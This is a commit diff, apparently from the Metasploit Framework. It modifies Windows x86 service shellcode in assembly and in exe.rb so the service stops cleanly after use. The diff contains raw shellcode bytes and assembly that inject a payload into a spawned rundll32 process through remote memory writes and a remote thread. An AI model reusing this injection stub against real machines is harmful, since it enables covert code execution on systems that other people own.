Skip to content

Commit e269c1e

Browse files
Florian Gaultieragix
authored andcommitted
Improve service_block with service_stopped block to cleanly terminate service
1 parent c43e3cf commit e269c1e

File tree

3 files changed

+28
-13
lines changed

3 files changed

+28
-13
lines changed

external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm

Lines changed: 2 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,7 @@ pop edx
5050

5151
mov edi, eax
5252
mov ecx, [esi]
53-
lea edx, [edx+0x47] ;pointer on the next shellcode
53+
add dword edx, 0x112247 ;pointer on the next shellcode
5454
push esp
5555
push 0x00001000 ;Next Shellcode Size
5656
push edx ;
@@ -79,8 +79,4 @@ call ebp ;call CloseHandle()
7979
mov ecx, [esi+0x4]
8080
push ecx
8181
push 0x528796C6
82-
call ebp ;call CloseHandle()
83-
84-
push edi
85-
push 0x56A2B5F0
86-
call ebp ;call ExitProcess(0)
82+
call ebp ;call CloseHandle()

external/source/shellcode/windows/x86/src/single/single_service_stuff.asm

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,4 +14,9 @@
1414
start: ;
1515
pop ebp ; pop off the address of 'api_call' for calling later.
1616
%include "./src/block/block_service.asm"
17-
%include "./src/block/block_create_remote_process.asm"
17+
%include "./src/block/block_create_remote_process.asm"
18+
%include "./src/block/block_service_stopped.asm"
19+
20+
push edi
21+
push 0x56A2B5F0
22+
call ebp ;call ExitProcess(0)

lib/msf/util/exe.rb

Lines changed: 20 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -345,6 +345,9 @@ def self.to_winpe_only(framework, code, opts={}, arch="x86")
345345
characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
346346

347347
if (virtualAddress...virtualAddress+sizeOfRawData).include?(pe.hdr.opt.AddressOfEntryPoint)
348+
if sizeOfRawData<code.length
349+
raise RuntimeError, "The EXE::Template doesn't contain enough place to write the payload."
350+
end
348351
# put this section writable
349352
characteristics |= 0x8000_0000
350353
newcharacteristics = [characteristics].pack('L')
@@ -518,12 +521,22 @@ def self.to_win32pe_service(framework, code, opts={})
518521
precode_size = 0xc6
519522
svcmain_code_offset = precode_size + pushed_service_name.length
520523

521-
precode_size += 0x06
524+
precode_size = 0xcc
522525
hash_code_offset = precode_size + pushed_service_name.length
523526

524-
precode_size -= 0x0d
527+
precode_size = 0xbf
525528
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
526529

530+
code_service_stopped =
531+
"\xE8\x00\x00\x00\x00\x5F\xEB\x07\x58\x58\x58\x58\x31\xC0\xC3" +
532+
pushed_service_name+"\x89\xE1\x8D\x47\x03\x6A\x00" +
533+
"\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A" +
534+
"\x00\x6A\x00\x6A\x00\x6A\x01\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68" +
535+
"\xC6\x55\x37\x7D\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
536+
537+
precode_size = 0x42
538+
shellcode_code_offset = code_service_stopped.length + precode_size
539+
527540
# code_service could be encoded in the future
528541
code_service =
529542
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
@@ -549,12 +562,13 @@ def self.to_win32pe_service(framework, code, opts={})
549562
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
550563
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
551564
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
552-
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x8D\x52" +
553-
"\x47\x54\x68"+[code.length].pack('<I')+"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
565+
"\x92\x3F\xFF\xD5\xE8\x00\x00\x00\x00\x5A\x89\xC7\x8B\x0E\x81\xC2" +
566+
[shellcode_code_offset].pack('<I')+"\x54\x68"+[code.length].pack('<I') +
567+
"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF" +
554568
"\xD5\x31\xC0\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A" +
555569
"\x79\xFF\xD5\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04" +
556-
"\x51\x68\xC6\x96\x87\x52\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
557-
570+
"\x51\x68\xC6\x96\x87\x52\xFF\xD5" +
571+
code_service_stopped
558572

559573
return to_winpe_only(framework, code_service + code, opts)
560574
end

0 commit comments

Comments
 (0)